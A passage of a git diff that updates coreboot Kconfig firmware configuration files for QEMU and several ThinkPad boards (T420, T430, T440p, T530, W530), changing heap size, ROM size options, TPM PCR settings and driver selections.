CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="debug console=ttyS0,115200 console=tty" @@ -184,6 +183,7 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y CONFIG_COREBOOT_ROMSIZE_KB_10240=y # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set # CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=10240 @@ -210,6 +210,7 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 @@ -220,9 +221,9 @@ CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_HPET_MIN_TICKS=0x80 CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -343,8 +344,6 @@ CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y # CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -374,10 +373,6 @@ CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=768 # CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set # CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" # CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_DRIVERS_MC146818=y @@ -388,6 +383,7 @@ CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_VGA=y # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -422,6 +418,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -447,6 +444,7 @@ CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_NOT_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -508,6 +506,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -555,6 +554,7 @@ CONFIG_HAVE_DEBUG_SMBUS=y # end of Debugging CONFIG_DECOMPRESS_OFAST=y +CONFIG_PROBE_RAM=y CONFIG_WARNINGS_ARE_ERRORS=y CONFIG_MAX_REBOOT_CNT=3 CONFIG_RELOCATABLE_MODULES=y diff --git a/config/coreboot-qemu-tpm2.config b/config/coreboot-qemu-tpm2.config index 8f56f70b3..d1a90ff93 100644 --- a/config/coreboot-qemu-tpm2.config +++ b/config/coreboot-qemu-tpm2.config @@ -165,7 +165,6 @@ CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_CLK_PM is not set CONFIG_DRIVERS_UART_8250IO=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_HEAP_SIZE=0x8000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="debug console=ttyS0,115200 console=tty" @@ -181,6 +180,7 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -207,6 +207,7 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 @@ -217,9 +218,9 @@ CONFIG_INTEL_GMA_BCLM_WIDTH=16 CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_HPET_MIN_TICKS=0x80 CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -337,8 +338,6 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -368,10 +367,6 @@ CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=768 # CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set # CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" # CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y CONFIG_DRIVERS_MC146818=y @@ -382,6 +377,7 @@ CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_VGA=y # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -415,6 +411,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -440,6 +437,7 @@ CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_NOT_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -501,6 +499,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -548,6 +547,7 @@ CONFIG_HAVE_DEBUG_SMBUS=y # end of Debugging CONFIG_DECOMPRESS_OFAST=y +CONFIG_PROBE_RAM=y CONFIG_WARNINGS_ARE_ERRORS=y CONFIG_MAX_REBOOT_CNT=3 CONFIG_RELOCATABLE_MODULES=y diff --git a/config/coreboot-t420-maximized.config b/config/coreboot-t420-maximized.config index eea62bcc9..dd6e2ea51 100644 --- a/config/coreboot-t420-maximized.config +++ b/config/coreboot-t420-maximized.config @@ -210,7 +210,6 @@ CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -226,6 +225,7 @@ CONFIG_COREBOOT_ROMSIZE_KB_8192=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set # CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=8192 @@ -257,6 +257,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 @@ -272,9 +273,9 @@ CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -323,8 +324,8 @@ CONFIG_RAMINIT_ENABLE_ECC=y # # Southbridge # +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y CONFIG_SOUTHBRIDGE_INTEL_BD82X6X=y -CONFIG_SOUTH_BRIDGE_OPTIONS=y # CONFIG_HIDE_MEI_ON_ERROR is not set CONFIG_PCIEXP_HOTPLUG=y CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y @@ -440,8 +441,6 @@ CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y # CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -472,6 +471,7 @@ CONFIG_SPI_FLASH_EON=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -510,6 +510,7 @@ CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -544,6 +545,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -575,6 +577,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -637,6 +640,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-t430-maximized.config b/config/coreboot-t430-maximized.config index 265d11972..92180f535 100644 --- a/config/coreboot-t430-maximized.config +++ b/config/coreboot-t430-maximized.config @@ -210,7 +210,6 @@ CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -226,6 +225,7 @@ CONFIG_BOARD_ROMSIZE_KB_12288=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set CONFIG_COREBOOT_ROMSIZE_KB_12288=y # CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=12288 @@ -257,6 +257,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 @@ -272,9 +273,9 @@ CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -323,8 +324,8 @@ CONFIG_RAMINIT_ENABLE_ECC=y # # Southbridge # +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y CONFIG_SOUTHBRIDGE_INTEL_C216=y -CONFIG_SOUTH_BRIDGE_OPTIONS=y # CONFIG_HIDE_MEI_ON_ERROR is not set CONFIG_PCIEXP_HOTPLUG=y CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y @@ -440,8 +441,6 @@ CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y # CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -472,6 +471,7 @@ CONFIG_SPI_FLASH_EON=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -510,6 +510,7 @@ CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -544,6 +545,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -575,6 +577,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -637,6 +640,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-t440p.config b/config/coreboot-t440p.config index 13fef27fa..3607495d0 100644 --- a/config/coreboot-t440p.config +++ b/config/coreboot-t440p.config @@ -209,7 +209,6 @@ CONFIG_PCIEXP_CLK_PM=y CONFIG_GFX_GMA_PANEL_1_ON_EDP=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -225,6 +224,7 @@ CONFIG_BOARD_ROMSIZE_KB_12288=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set CONFIG_COREBOOT_ROMSIZE_KB_12288=y # CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=12288 @@ -255,6 +255,7 @@ CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 CONFIG_EHCI_BAR=0xe8000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 @@ -274,9 +275,9 @@ CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_DISABLE_ME_PCI=y CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=6 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -364,6 +365,7 @@ CONFIG_H8_FLASH_LEDS_ON_DEATH=y # CONFIG_H8_FN_CTRL_SWAP is not set CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y CONFIG_H8_HAS_PRIMARY_FN_KEYS=y +CONFIG_H8_HAS_LEDLOGO=y CONFIG_EC_LENOVO_PMH7=y # @@ -434,8 +436,6 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -466,6 +466,7 @@ CONFIG_SPI_FLASH_EON=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y CONFIG_HAVE_EM100PRO_SPI_CONSOLE_SUPPORT=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set @@ -503,6 +504,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -537,6 +539,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -569,6 +572,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -631,6 +635,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-t530-maximized.config b/config/coreboot-t530-maximized.config index 9fa623877..09f5e2432 100644 --- a/config/coreboot-t530-maximized.config +++ b/config/coreboot-t530-maximized.config @@ -213,7 +213,6 @@ CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -229,6 +228,7 @@ CONFIG_BOARD_ROMSIZE_KB_12288=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set CONFIG_COREBOOT_ROMSIZE_KB_12288=y # CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=12288 @@ -260,6 +260,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 @@ -275,9 +276,9 @@ CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -326,8 +327,8 @@ CONFIG_RAMINIT_ENABLE_ECC=y # # Southbridge # +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y CONFIG_SOUTHBRIDGE_INTEL_C216=y -CONFIG_SOUTH_BRIDGE_OPTIONS=y # CONFIG_HIDE_MEI_ON_ERROR is not set CONFIG_PCIEXP_HOTPLUG=y CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y @@ -443,8 +444,6 @@ CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y # CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -475,6 +474,7 @@ CONFIG_SPI_FLASH_EON=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -512,6 +512,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -546,6 +547,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -577,6 +579,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -639,6 +642,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-w530-maximized.config b/config/coreboot-w530-maximized.config index a1804e04c..62d970c33 100644 --- a/config/coreboot-w530-maximized.config +++ b/config/coreboot-w530-maximized.config @@ -213,7 +213,6 @@ CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_CLK_PM is not set # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -229,6 +228,7 @@ CONFIG_BOARD_ROMSIZE_KB_12288=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set CONFIG_COREBOOT_ROMSIZE_KB_12288=y # CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set 